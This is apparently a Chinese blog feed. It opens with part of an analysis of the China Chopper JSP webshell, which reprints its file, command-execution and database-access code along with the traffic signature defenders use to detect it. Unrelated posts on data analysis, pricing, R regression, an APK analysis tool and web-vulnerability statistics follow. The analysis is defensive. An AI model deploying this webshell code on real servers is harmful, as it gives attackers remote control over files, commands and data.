此类 WebShell 的主要功能为下载文件，并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备，可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL，且通过该 URL 可下载文件。

4.菜刀型WebShell

该 WebShell 网上随处可见，可以很容易找到。代码较多，刚开始看的时候，能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。

4.1 代码分析：

4.1.1文件操作

导入程序中需要用到的包，包含所需的功能：

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>

登陆连接 定义密码：

String Pwd = "PW";

使用菜刀工具，登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http。

从抓取的流量中可以得到两个参数 PW=A，z0=GB2312。 z0 的值代表字体格式，那么 PW 的值可能为判断条件。查看源代码，找到与 PW 参数的值相关的运行代码：

 String cs = request.getParameter("z0") + "";
 request.setCharacterEncoding(cs);
 response.setContentType("text/html;charset=" + cs);
 String Z = EC(request.getParameter(Pwd) + "", cs);
 String z1 = EC(request.getParameter("z1") + "", cs);
 String z2 = EC(request.getParameter("z2") + "", cs);
 StringBuffer sb = new StringBuffer("");
 try
 {
  sb.append("->" + "|");
  if (Z.equals("A"))
  {
   String s = new File(application.getRealPath(request.getRequestURI())).getParent();
   sb.append(s + "\t");
   if (!s.substring(0, 1).equals("/"))
   {
       AA(sb);
   }
  }
 }

1) 上述代码中， Pwd="PW",cs= "GB2312",因此 Z="A"：

String Z = EC(request.getParameter(Pwd) + "", cs);

2) 获取当前页面所在服务器的绝对路径:

String s = new File(application.getRealPath(request.getRequestURI())).getParent();

3) 判断当前路径字符串第一个字符是否为 "/",若不是则调用方法 AA()：

if (!s.substring(0, 1).equals("/"))

4) AA() 方法中， File.listRoots() 首先获取所有可用的文件系统的根目录对象的数组。并通过 StringBuffer的append() 将数组追加，转换为字符串类型。

void AA(StringBuffer sb) throws Exception
{
 File r[] = File.listRoots();
 for (int i = 0; i < r.length; i++)
 {
  sb.append(r[i].toString().substring(0, 2));
 }
}

5)最后输出 out.print(sb.toString()); 即输出 "C: D:"，并在菜刀界面显示：

打开C盘查看C盘目录下的文件：

根据 PW="B",找到判断条件：

 else if (Z.equals("B")) {
  BB(z1, sb);
 }

查看方法 BB()：

void BB(String s, StringBuffer sb) throws Exception
{
 File oF = new File(s), l[] = oF.listFiles();
 String sT, sQ, sF = "";
 java.util.Date dt;
 SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
 for (int i = 0; i < l.length; i++)
 {
  dt = new java.util.Date(l[i].lastModified());
  sT = fm.format(dt);
  sQ = l[i].canRead() ? "R" : "";
  sQ += l[i].canWrite() ? " W" : "";
  if (l[i].isDirectory()) {
   sb.append(l[i].getName() +
    "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
         } else {
   sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
  }
 }
 sb.append(sF);
}

1) 读取盘下所有文件：

l[] = oF.listFiles();

2) 定义文件修改时间的格式：

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

3) 获取第i个文件的最新修改时间：

new java.util.Date(l[i].lastModified());

4) 对文件的读写进行判断，并增加标识：

sQ  = l[i].canRead()  ? "R" : "";
sQ += l[i].canWrite() ? "W" : "";

5) 判断是否为文件夹，若是，则增加一个文件夹标识 "/\t"。若不是，则获取文件名并追加到字符串后面：

if (l[i].isDirectory())
{
  sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
}
else
{
  sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}

6）最后返回多行字符串，代表每个文件或文件夹所处的位置：

打开文本文件 得到 PW="C" 及 z1 中显示所操作文件的路径：

1）查看C对应执行的代码：

 else if (Z.equals("C"))
 {
  String l = "";
  BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  while ((l = br.readLine()) != null)
  {
   sb.append(l + "\r\n");
  }
  br.close();
 }

2）下面代码实现读取当前文件的内容，并读取每行数据追加到字符串后门：

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));`
while ((l = br.readLine()) != null)
{
    sb.append(l + "\r\n");
}

修改文本文件

根据之前的规律，找到修改文件时调用的程序代码：

else if (Z.equals("D"))
{
  BufferedWriter
  bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  bw.write(z2);
  bw.close();
  sb.append("1");
 }

1）利用缓冲字符流打开文本文件：

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

2）向文本文件写入修改的部分： bw.write(z2);。

删除文件

1）找到具有删除功能的程序代码

 else if (Z.equals("E"))
 {
  EE(z1);
  sb.append("1");
 }

2）调用方法 EE()：

void EE(String s) throws Exception
{
 File f = new File(s);
 if (f.isDirectory())
 {
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();
}

3）如果删除的文件为一个文件夹，则递归删除文件夹内所有文件。若非文件夹，则直接删除：

if (f.isDirectory())
{
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();

4.1.2命令执行

CMD 指令，输入 ipconfig。返回内容较少是因为组设置大小为 1024 字节：

1）查看抓取的流量数据：

2）获取参数： W = M，z0 = GB2312，z1 = /ccmd，z2=cd /d "C:\apache-tomcat-7.0.82-windows-x86\apache-tomcat-7.0.82\webapps\ROOT\2\"&ipconfig&echo [S]&cd&echo [E]。

3）该操作执行下面代码：

else if (Z.equals("M"))
{
  String[] c =
    {
      z1.substring(2), z1.substring(0, 2), z2
    };
  Process p = Runtime.getRuntime().exec(c);
  MM(p.getInputStream(), sb);
  MM(p.getErrorStream(), sb);
 }

4）调用 MM 方法：

void MM(InputStream is, StringBuffer sb) throws Exception
{
 String l;
 BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }
}

5）执行上述字符串数组 c， c 为 cmd /c z2：

Process p = Runtime.getRuntime().exec(c);

6）将字节流数据转换为缓冲字符流，并追加到字符串后面：

BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }

4.1.3数据库操作

对数据库的操作的相关代码是 Java 对数据库执行 CRUD 操作的代码。因此该操作只分析登录数据库时的代码。连接数据库需提前知道数据库的账户和密码。抓取菜刀进行数据库操作的流量，本次登录的是 mysql 数据库：

参数 z1 传入的是 Java 连接数据库是使用的 API，即 JDBC：

z1 = com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456

执行数据库登录的相关代码如下：

else if (Z.equals("N"))
{
  NN(z1, sb);
 }

1) 调用 NN 方法：

void NN(String s, StringBuffer sb) throws Exception
{
 Connection c = GC(s);
 ResultSet r = c.getMetaData().getCatalogs();
 while (r.next())
 {
  sb.append(r.getString(1) + "\t");
 }
 r.close();
 c.close();
}

2) 连接数据库，返回 connect 接口：

Connection c = GC(s);

3) 获取数据库数据，从中获取数据库名称列表：

ResultSet r = c.getMetaData().getCatalogs();

4) 循环读取下一个名称，追加到字符串中：

while (r.next())
{
  sb.append(r.getString(1) + "\t");
 }

4.1.4 代码执行过程

经过分析，对菜刀 JSP WebShell 代码的整体执行过程有了大致的了解：

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.* ......." %>
<% !
            定义变量  Pwd....//登录密码
            定义函数AA()、BB()、CC()......
%>
<%
      ......
      request.getParameter("z0")//获取参数Pwd,z0,z1,z2.....
      .....
      String Z=  EC(request.getParameter(Pwd)+””,cs);
      if     (Z.equals("A"))    { AA(相关参数)  }
      else if(Z.equals("B"))    { BB(相关参数)  }
      else if(Z.equals("C"))    { CC(相关参数)  }
      .......
      输出字符串
%>

流程图如下：

4.2 特征分析

根据抓取的流量显示，对 WebShell 所做的操作的结果，都会以字符串的形式返回给菜刀进行处理，并显示出来。字符串形式为 "->|xxxx|<-"，为菜刀 WebShell 的特征字符。若发现成功利用菜刀 WebShell 的行为，基于该特征字符，将会在 DPI 中发现此类攻击事件。

同时，该 WebShell 对数据库的操作，需要知道目标主机数据库的账户和密码。如果发现成功访问数据库的流量数据，则说明该主机数据库信息已泄露。攻击者在此之前利用了 sql 注入、社工、爆破等渗透方式进行了入侵。需通过历史事件中对可疑攻击进行关联分析。

5 总结

通过对 WebShell 代码的分析，可以深入了解其功能和特征信息，有利于我们对攻击来源和意图有更好的理解。仅通过攻击结果来分析问题，会忽略很多重要信息，无法准确描绘出黑客画像。

以上是我在实习期间的一些感悟，后期我会不断把自己的研究成果分享出来。谢谢各位！

如何开始数据分析

Mon, 11 Dec 2017 20:06:10 CST

有了数据。我需要一些思路。应该从哪开始？

这是个常见的问题。

菜鸟数据科学家、分析师，以及刚刚接触数据科学的管理人员，通常有这样的疑问。

他们的老板都在承受着压力，得证明花在系统上去收集、存储及组织资料的钱（更不用说还有那些花在数据科学家身上的钱）是有回报的。

他们偶尔很幸运——待解决的问题可能非常明确，而且被深入研究过（例如，预测哪个客户可能会取消手机合约）。在这种情况下，有很多种方法来进行数据分析，这是数据科学的天堂。

但是他们拿到的经常都是一个简单的问题：“做个数据挖掘，看看能挖到什么有趣的东西”。

从哪开始呢？

这是个很困难的问题，而且没有唯一完美的答案。我确信前人已经推断出很多方法了。下面是我发现的一个有用的方法。

该方法基于两个观点：

每个企业都可以看作是由很多可变部分组成的复杂系统。没人能 100% 弄懂它。即使是有经验的员工，他们对企业的理解和它实际的运作也是有差别的。由于每个企业都在不断变化，这种差别只会越来越大。

你所掌握的与企业相关的任何数据，都能描绘这个复杂系统某些方面的运转状态。

有了这两点，依据所有能加强你对系统实际运作理解的事物，你可以想出一个“思路”。它能填补你在系统工作和实际运作之间的认知差距。

或者，借用 Andy Grove 的《给经理人的第一课》（High Output Management）中的一个类比，复杂系统相当于是黑匣子，而思路就像是黑匣子边上开的窗户，“照亮”里面发生的一切。

所以寻找思路的过程，可以看作是通过分析数据，理解一个复杂事物的实际运作方式所付出的努力。

而这正是科学家们在做的事！这个世界复杂得让人难以置信，科学家们正是通过一种不断实践和检验的科学方法（the Scientific Method），来逐步提高我们对世界的认识。

通俗地说：

利用他们当前对系统运作的理解（“理论”）做出一定的预测。

然后检验数据（ 有时需要准备精心设计的实验来生成数据 ）是否符合预测。

如果不符合预测，就要研究发生了什么，并更新他们的认识（“修改理论”）。

做出新的预测。重复这个过程。

数据科学家和分析师能做的也是同样的事。

在探索数据之前，准备好一个清单，写下来你期望从数据中看出什么：关键变量的分布，重要变量之间的关系等等。这样一个清单实质上就是基于当前对企业的理解而做出的预测。

现在来分析数据。画统计图、总结，以及任何能验证数据是否符合预期的分析方法。

有不符合预期的地方吗？有让你发出“这很奇怪啊。”或者“这不合理啊。”这种感慨的地方吗？

放大来看，试着弄清楚企业的哪部分导致了数据中这种奇怪的现象。这也是关键步骤。

你可能就此找到了了解企业的思路，并且加强了理解。

举个真实的例子。几年前，我们在研究一个大型 B2C 零售商的交易数据。数据集的一个字段是“交易金额”。

我们的预期是什么？我们预期大多数交易金额都在均值附近，但是可能会存在一些偏小的金额和偏大的金额。所以该字段的柱状图很可能看起来是这样的：

但是我们检验数据后发现，它看起来是这样的：

我们调查了“hmm”那部分的交易数据。

原来这些交易不是来自于他们的常客——为孩子购物的年轻妈妈们；而是来自于那些一年来美国旅游一次的外国人。他们来商店购买大量的物品，回国后在他们自己的商店销售。这些分销商与我们的零售商没有任何特别的关系。

该零售商当时在北美以外没有实体店，他们在电商网站上销售的商品也不运往这些地区。但是这些地区的需求量又足够多，促使当地企业如雨后春笋般涌现，填补空缺。

这个微不足道的“发现”会引出一系列有趣的连锁问题。比如，这些分销商买了哪些商品，什么样的促销活动最适合他们，以及如何使用这些数据来影响全球扩张计划。

所有这些都来自于一个简单的柱状图。

伟大的艾萨克·阿西莫夫（Isaac Asimov）完美地领会了这个精神。

科学研究中最令人激动的话，预示着新发现的话，不是“找到啦！”而是“真有趣……”

艾萨克·阿西莫夫（ Isaac Asimov ）

要知道从数据出发找到企业的“根本动机”需要时间、精力以及耐心。如果你在企业中拥有一些的人脉，能回答你的问题，你会有更多发现。另外，你觉得奇怪的事，他们可能已经习以为常了（因为他们对该企业的了解可能比你更多），这样你能节省很多时间。

越能理解企业中这些细微差别，你的预测会越有指向性，并且最终会有越好的发现。所以，尽你所能去挖掘企业中的各种细节。寻找了解企业的同事，向他们学习，如果可能的话把他们发展成你的同伴。

掌握数据科学知识是件好事，但是掌握一些企业相关的知识也会让你的工作质量大幅提升。

在数据科学之外，我发现“预测——检查”的思维方式在任何分析上都很有用。

在“翻页”之前，停下来思考一会儿，猜想一下哪种事是你希望看到的。你会发现这样能增加对照，并且更能从数字的海洋中发现趣事了。

或者你会发现在收集数据或是计算时出了错。（Twyman 定律）

如何开始数据分析，首发于文章 - 伯乐在线。

如何理解Uber的动态定价策略？

Mon, 13 Feb 2017 19:39:30 CST

动态定价并不是新概念，加上了算法，智能，大数据等一堆词以后，显得有些惊艳了而已，动态定价在我们日常生活中的使用非常广泛，而且影响着每个人。

一、什么是动态定价策略

本文所指的动态定价策略仅仅限定在共享经济中的讨论，其他类型中的暂不涵盖。

在Uber提出并使用动态定价策略后，经过了这段时间的市场验证，我们再回过头来看看动态定价策略的提出，发展，利弊以及应用。

动态定价策略并没有一个严格的定义，但是他提现了一个经济学中的核心概念就是：供需平衡。

因此我给动态定价策略的一个简单定义是：在一定的市场环境中，供需双方为达到平衡点而做出的价格调整。

动态定价并不是新概念，加上了算法，智能，大数据等一堆词以后，显得有些惊艳了而已，动态定价在我们日常生活中的使用非常广泛，而且影响着每个人。

举一个很简单的例子，过年的时候，蔬菜普遍贵了，原因就是供应少了，所以蔬菜的价格上升，只是在互联网情况下，这种变动会更加快，更加敏捷。

二、为什么使用动态定价策略

任何一个方法或者技术的产生，都是为了解决某一个问题，尤其是我们在做产品的时候，遇到一个问题，要思考解决这个问题的解决办法，提出一二三，从中选取最优的方案。

从Uber的角度要解决的问题是在高峰或者异常天气的情况下，Uber的司机少，乘客打不到车的问题，为了解决这个问题，我们可以 沙盘推演一下，Uber能想到的解决办法：

自由市场，置之不顾
自己购买一些车并雇佣一些司机来应对
通过与个人司机或其他交通部门签订协议，由第三方提供运力来应对
通过一定的调度策略，来趋势自己平台上的司机来应对

第一种情况是 完全自由市场，没有任何宏观调控的时候的样子，我们认为Uber是一家理性的公司，显然Uber不会这么做

第二种情况Uber几乎也不会采取，因为从Uber的一开始就定位于共享经济，C2C，所以一旦踏入自己购买就将是一个B2C和C2C混合的经济体，这是Uber不愿意考虑的方向。

第三种情况与第二种情况也类似，都会加重公司的负担并且与初始定位违背，所以也被否决

那就只剩下第四种情况，调度。

这是一个很神奇的词，通过某种方法，可以让原来同样的东西产生更大的生产力，我们此处可以对第四种情况再细分成以下几个选项：

当遇上高峰或打不到车的时候，通知打车人现在没车，请选择其他交通工具或继续等待
当遇上高峰或打不到车的时候，通知司机师傅，现在某某地有很多人要搭车，赶紧过去拉人，去我就奖励你，不去我就惩罚你
当遇上高峰或打不到车的时候，通知打车人现在没车，你可以加点钱，“或许”就有人来拉你了

第一点并没有解决这个问题，虽然可以作为一种决绝方案，但只是陈述了一个事实，而且对自己用户并没有负责人，所以基本可以不采取。

第二点相信是很多产品的选择，毕竟在威逼利诱下还是会有用户选择去做这件事，但是这里也会产生两个问题：

如果是惩罚将会产生较差的体验和叛逆，如果是补贴奖励则会加大企业的支出，也就是开启烧钱模式的大招。

Uber完全有理由可以选择这一方案，但是我们看到了Uber选择了第三种方案， 打不到车的用户请多出点钱，也就是动态定价的基本原型。

至于这种方案是否是合理的，又有什么利弊，我们在第四点里面讨论。

三、动态定价策略的经济学基础

综上我们基本确定了选择动态变动价格的策略是基本可行的，正如我们前面所说的，这种策略由来已久，从经济学的角度我们来分析一下他的可行性。

首先经济学十大原理之一： 人们对激励做出反应，这应该是动态定价策略的理论基础。

我们在一个简单的模型下面，我们来看一下整个的变动：

黄线：表示接单人（供给），也就司机师傅，价格越高，接单人越多
绿线：表示发单人（需求），也就是打车人，价格越低，打车人越多

现在我们做以下的假设：

1. 假设从M1地到M2地点的正常价格为40元，在这种情况下，刚好达到A的均衡点，所有的人都可以打到车，所有的车也刚好都拉到人

2. 现在假设遇到了糟糕的天气，司机师傅变少了，黄色线上移变动为黄色的虚线，打车人并没有变，于是产生了：价格上涨，部分打车人打到了车，而部分打车人因为价格上涨而退出了打车的行列，这时达到了A1的平衡点

3. 现在情况更复杂一些，假设遇到节假日，打车的人突然增多，而司机并没有增加，这时绿线上移， 因为加价而让更多的司机加入进来，从而达到了新平衡点A2

4. 现在分析最复杂的情况，2，3点同时产生，即司机减少，而打车人增加，这时两条虚线相交点，便是新的平衡点。

即价格的上涨促使产生了两个结果：

更多的司机加入进来
部分打车的人因为价格问题选择其他的方案

这是符合经济学的核心原理：供需。

在此基础上，当我们再加入平台补贴，抽佣以及其他一些奖励的制度的时候，曲线将变得更加复杂，并且会产生无效的损耗，但是目的总是在调节供需双方达到一个合理的平衡点。

四、动态定价策略的利弊

在有了理论支持以后，我们再回过头来看看这种策略的利弊。

有利

1. 平台通过技术手段自动调控，能够最大限度的调动供给方的积极性，提升达成率

2. 用户了解了规则以后，会自发调节出行时间，避开高峰，从而服务双方更合理平滑

3. 实现自调度，降低了平台的调度和维护成本，每一个个体都会为整个系统贡献自己的力量，这也是失控理论的提现。

弊端

1. 因为要付出更高的价格，部分用户选择不打车，而改用其他方式，这是平台用户的流失；

2. 如果我们希望每位打车的人都能够打到车，这个方案显然是不能实现的，也就是说 这并不是一个完美的方案。

五、动态定价策略适用案例

基于动态定价的策略，我们来分析一下几个典型的案例和实用场景：

共享单车

目前很火的共享单车们，跟共享经济还是有很大的差异性，目前来看，多数共享单车是自己购买车辆，部分几乎很少的车辆为C端用户共享的车辆，所以这类完全是重资产的B2C企业，与我们讨论的内容不符，只是借用了一个共享的冠名而已。

快递跑腿服务平台

如人人快递，校内达和达达等，这类供需双方都是普通的C端用户，这一类的共享经济体都可以采取动态定价的策略，以校内达为例，先以一个合理定价在3元左右的客单价，然后基于单个学校的小范围内供需关系调整价格，从而也实现双方的平衡。

任务众包平台

如猪八戒，码市等，这类目前多采取的是竞价模式，其实在竞价模式的基础上，也是可以引入动态定价策略，但是这类平台考量的因素要比较多，比如团队的经验，能力等这些可能在价格方面占据的比重会更加大。

六、结语

动态定价策略是技术对经济学的体现，也是基于实际问题思考而得出的解决方案，基于这一个动态的圆形，可以不断加入完善策略，使它更加具有引导性，也使得市场更加合理。

作者：文业（微信号：sunwenye_0088）

本文由 @文业授权发布于人人都是产品经理，未经作者许可，禁止转载。

关联规则推荐算法的原理及实现

Sun, 13 Nov 2016 21:27:35 CST

关联规则用来发现数据间潜在的关联，最典型的应用是电商网站的购物车分析。本文将通过一个简单的例子来说明关联规则中各个术语的含义以及具体的计算方法。

这是一些用户的购物数据，uid是用户的ID，后面是每个用户具体购买的商品名称，我们使用字母进行标识。下面我们将使用关联规则对这些数据进行分析，挖掘不同商品间的联系。

首先将前面的一维的购物车流水数据转换为二维的列表。然后在这个基础上计算不同商品及商品组成出现的频率。

在关联规则中，有三个重要的术语，分别为支持度(Support)，可信度(Confidence)和作用度(Lift)。第一个属于是支持度，支持度是一件商品在所有购物车中出现的频率。如果我们希望分析的是两件商品的关联，那么支持度就是这两件商品同时出现的频率。支持度的作用是用来衡量关联规则重要性的指标，简单来说就是我们所要挖掘的关系有多大的普遍性，普遍性越大这条关联规则越重要。第二个术语是可信度，可信度是指两件商品中当第一件出现时，第二件商品同时出现的频率。可信度用来衡量关联规则的准确性。第三个术语是作用度，作用度用来衡量关联规则对于商品出现频率的影响。只有作用度大于1的关联规则才有实际的应用意义。下面我们分别介绍这三个术语的计算方法。

支持度(Support)

支持度是两件商品在所有购物车中同时出现的概率，可以记录为P（A U B）。支持度的计算公式为A,B两件物品同时出现的次数与购物车总数的比率。对于前面例子中，如果我们要计算商品A和B在5条购物车记录中的支持度，具体的计算公式为1/5。商品A和B在5条购物车记录中只在uid1中同时出现过。

单件商品的支持度的计算方法与两件商品一样，如果我们要计算商品A的支持度，具体的计算公式为3/5。商品A在5条购物车记录中共出现了3次。单件商品的支持度描述了在没有其他商品影响的情况下，商品在购物车中出现的次数。

可信度(Confidence)

可信度是一个条件概率，两件商品其中一件出现在购物车中时，另一件也会出现的概率。可以记录为P（B|A）。对于前面的例子中，如果要计算A和B两件物品的可信度，具体的计算公式为1/3。商品A出现的3次，商品B同时出现的次数为1次。

作用度(Lift)

作用度通过衡量使用规则后的提升效果来判断规则是否可用，简单来说就是使用规则后商品在购物车中出现的次数是否高于商品单独出现在购物车中的频率。如果大于1说明规则有效，小于1则无效。对于前面的例子中，如果要计算规则A-B是否有效，计算公式为(1/5)/(3/5*3/5)=(0.2)/(0.6*0.6)=0.2/0.36=0.55。作用度小于1说明A-B规则对于商品B的提升没有效果。

按照前面的计算公式我们分别对下面的四个规则进行了计算，在获得支持度，可信度后计算出了四个规则的作用度。其中A-D规则作用度大于1，说明对购物车中已经包含商品A的用户推荐商品D，购买概率是单独推荐D的1.11倍。

—【所有文章及图片版权归蓝鲸（王彦平）所有。欢迎转载，但请注明转自“ 蓝鲸网站分析博客”。】—

使用R进行统计分析——回归分析

Tue, 08 Nov 2016 22:16:18 CST

准备工作

首先导入数据并创建名为lr_data的数据表。

#读取并创建数据表
lr_data=data.frame(read.csv('lr_data.csv',header = 1))

查看导入数据表的维度，结果显示456行，4列。

#查看数据表维度
dim(lr_data)
[1] 456 4

查看数据表中各字段的名称，结果显示共有4个字段，三个变量和一个目标。

#查看数据表的字段名称
names(lr_data)
[1] "variable1" "variable2" "variable3" "goal"

一元回归

使用lm()函数对变量1和目标值进行一元回归分析，并创建回归方程。R方为0.7778。说明自变量可以对因变量78%的变化进行解释。

#进行一元回归分析
fit=lm(goal~variable1,data=lr_data)
summary(fit)

多元回归

使用三个变量和目标值进行多元回归分析，R方为0.85，说明三个自变量可以对因变量85%的变化进行解释。

#进行多元回归分析
fit=lm(goal~variable1+variable2+variable3,data=lr_data)
summary(fit)

逐步回归(向后)

使用逐步回归的方法从三个自变量中选择用于预测的变量。逐步回归中有向前和向后两种方法。向前逐步回归每次增加一个变量，直到模型不再改变。向后逐步回归每次减少一个变量，直到模型不再改变。这里使用向后逐步回归的方法选择预测变量。

#加载MASS库
library(MASS)
#建立多元回归模型
fit1=lm(goal~variable1+variable2+variable3,data=lr_data)
#向后逐步回归
stepAIC(fit,direction="backward")

向后逐步回归每次减少一个变量，因此在第一步时使用了所有的三个变量，在第二步时减少了其中的一个变量，再次减少变量后模型不再变化，因此结果为使用变量2和变量3作为预测变量。

全子集回归

除了逐步回归方法外，还有全子集回归方法可以用于挑选预测变量。全子集回归检测所有的变量，并展示最佳的模型的结果。下面是使用全子集回归的代码和结果。

#加载leaps库
library(leaps)
#使用全子集回归方法并绘制图表
leaps=regsubsets(goal~variable1+variable2+variable3,data=lr_data,nbest=2)
plot(leaps,scale='adjr2')

在上图中，Y轴为R方值，X轴为截距和三个变量。只包含截距和变量1的模型R方为0.78，只包含截距和变量3的R方为0.82，只包含截距和变量2的R方式0.85。R方最高的模型包含截距，变量2和变量3，R方值为0.85。

变量重要性排序

在多元回归的三个变量中，还可以比较不同变量对结果的重要性。换句话说就是不同自变量对因变量的影响程度，具体的方法是先对数据进行标准化处理，然后对标准化回归系数进行对比，当其他预测变量不变的情况下，单独一个预测变量对因变量的变化。

#对数据表进行标准化处理
z_data=as.data.frame(scale(lr_data))
#创建多元回归模型
zfit=lm(goal~variable1+variable2+variable3,data=z_data)
#输出标准化回归系数
coef(zfit)

在上面截图中，变量2的一个标准差变化增加0.721个因变量的变化，变量3的一个标准差的变化增加0.157个因变量的变化。变量1的一个标准差的变化增加0.050个因变量的变化。因此重要程度依次为变量2，变量3和变量1。

比较模型拟合优度

我们选择最重要的变量2和变量3建立模型，并与之前包含三个变量的模型进行比较，看看去掉一个变量后模型的拟合优度是否有变化。

#创建模型
Fit2=lm(goal~variable2+variable3,data=lr_data)
Fit3=lm(goal~variable1+variable2+variable3,data=lr_data)
#对比模型拟合优度
anova(fit2,fit3)

P=0.3931，检验不显著，因此可以将变量1从模型中删除。

—【所有文章及图片版权归蓝鲸（王彦平）所有。欢迎转载，但请注明转自“ 蓝鲸网站分析博客”。】—

APK文件分析工具：AppMon

Tue, 22 Nov 2016 14:01:46 CST

对手机恶意软件研究人员来说，有很多APP行为分析工具可以选择，在这里，我要向大家推荐的是AppMon，它可以通过二进制指令获取app程序运行记录，并显示调用函数和相关参数。

AppMon工作原理

AppMon使用了多平台动态框架环境Frida，Frida是一款基于python + javascript 的hook框架，适应android\ios\linux\win\osx等平台的脚本交互环境。AppMon还包括了一系列app事件监控和行为修改脚本，并能通过web接口显示和操作。

安装

AppMon的运行环境需要Frida和其它模块：

  sudo -H pip install argparse frida flask termcolor

Linux环境下可以克隆github安装：

  https://github.com/dpnishant/appmon/

如果是Windows环境，下载解压之后，需要对appmon.py中变量merge_script_path的绝对路径进行修改，可以是临时文件夹或其它所需文件路径，如：

  merge_script_path = ‘C:/Users/<nombre_usuario>/AppData/Local/Temp/merged.js

考虑到Frida的稳定性，推荐使用Android 4.4.x版本模拟器，另外，建议用adb命令安装apk程序。

分析

让我们来分析一个恶意程序样本 Android/Torec.A，该程序可以实现窃取短信和通话记录等关键信息，并能利用 Tor网络的.onion代理服务器隐藏指令控制服务器，远程执行代码。程序Manifest文件显示包名为com.baseapp，现在开始启动AppMon控制端:

Windows下的启动界面如下：

AppMon创建了一个访问5000端口的简单服务器，实现web界面的分析显示：

打开浏览器，选择需要分析的APK文件，点击“Next”：

之后，将会显示apk程序执行阶段短暂的事件日志记录：

我们再以 Android/Monitor.Rasatremon.A为分析样本执行程序，通过web界面日志记录，可以看到具体的HTTP网络连接活动：

除此之外，AppMon还有其它功能，如密码恢复等。总之，对apk分析来说，它是一款好用的工具。

具体参见： https://dpnishant.github.io/appmon/

*参考来源： welivesecurity，FB小编clouds编译，转载请注明来自FreeBuf（FreeBuf.COM）

产品实例：某项目APP后台系统设计

Mon, 26 Dec 2016 16:47:30 CST

今年有幸参与了某度假屋项目从0到1的设计过程，展示给用户的是精致的APP，然而APP背后却是逻辑比较复杂的后台系统。APP的使用体验，很大程度上是由后台系统决定的，后台系统逻辑的合理性决定了APP的核心流程。

业务介绍

简要介绍一下此项目的业务流程如图1所示：

业主购买度假屋并由物业管理公司托管，业主购买度假屋有三种类型：全套、分权、分时，全套即业主购买整套度假屋，分权即业主购买度假屋部分产权，分时即业主购买某季的居住权。

业主每年可以获得一定数量的居住券，分权、分时业主每年获得28张居住券，全套业主每年获得365张优惠券。业主可以选择自住、换住、出租，其中换住是在平台进行，业主将一部分居住券储存在平台，平台返还用户一定数量的换游币，用户可以使用换游币在APP预定其他地区的度假屋并前往居住。所以，此平台是一种度假权益交换的共享度假平台。

图1

后台系统设计

了解业务以后，我们详细介绍后台系统的设计思路，后台的主要系统构成以及流程如图2所示：

图2

销控管理系统主要对度假屋的销售情况进行管理，以及线上的销售合同管理；物业管理系统对度假屋托管情况进行管理，以及线上的物业托管合同管理。

业主托管并签订合同后，业主信息将传递给会员中心和空间管理系统，空间系统根据淡旺平季以及度假屋类型，分发给业主相应的居住券。

业主可以用居住券在APP储存，储存成功后获得平台的换游币。居住券的储存，换游币的换算等动作都是通过super后台系统，同时，super系统还要对空间管理系统的房屋进行包装，最终在APP展示相应的房源。

super系统是APP的核心后台系统，分为运营、客服、超级管理员三种角色，运营主要对系统中的房源信息进行编辑；客服查看订单和会员相关信息，同时可以帮助业主储存居住券。

用户在APP下单后，订单中心生成入住订单，物业方在PMS系统确认订单，PMS系统主要是物业方进行排房、订单管理、房态房量管理、房价管理等操作。

有的物业方没有PMS系统，平台提供了PMS供物业方使用，如果物业方原来就有PMS，则平台提供E-Booking系统供物业方与平台对接，E-Booking系统是平台与物业方确认房源、房屋底价录入、房态房型管理、结算等操作的对接系统。

总结

作为项目的产品经理，首先需要对业务非常熟悉，要做到懂系统人群里最懂业务的，懂业务人群里最懂系统的，这样才能将业务逻辑很好的融合进系统，转换成系统流程。后台产品经理与前台产品经理，前者需要深刻理解业务，将现有的业务流程落实到系统，支撑前台的功能流程；而后者更需要对用户行为进行深入挖掘，对交互和体验有一种死磕精神。

本文只是粗略的说明了此项目后台的系统功能及流程，具体的每个系统还有比较复杂的内部功能逻辑，后续文章会做详细的说明，敬请期待~

本文由 @悠闲小生原创发布于人人都是产品经理。未经许可，禁止转载。

2016年度Web漏洞统计之Exploit-db

Mon, 23 Jan 2017 12:00:13 CST

2016年我们耳边经常想起“大数据”、“物联网”、“云”、“工控系统”等关键词，很多个厂家、行业都在热火朝天的做着“大数据”，随着2016年的过去，新的一年到来，让我们也针对web漏洞进行一次“大数据”分析。

众所周知的 https://www.exploit-db.com是面向全世界黑客的一个漏洞提交平台，那么我们分析下2016年度web漏洞情况。

打开 https://www.exploit-db.com/webapps后发现Web Application Exploits是一行行的漏洞列表。

每个漏洞都占有一行，显示漏洞的Date、Title、Platform、Author，可以点击Title查看详细的漏洞。

在查看了多个漏洞页面后可以看出，每个漏洞的页面可以由编号来区分的，而且编号是增量的。

于是，针对web漏洞的“大数据”分析思路如下：

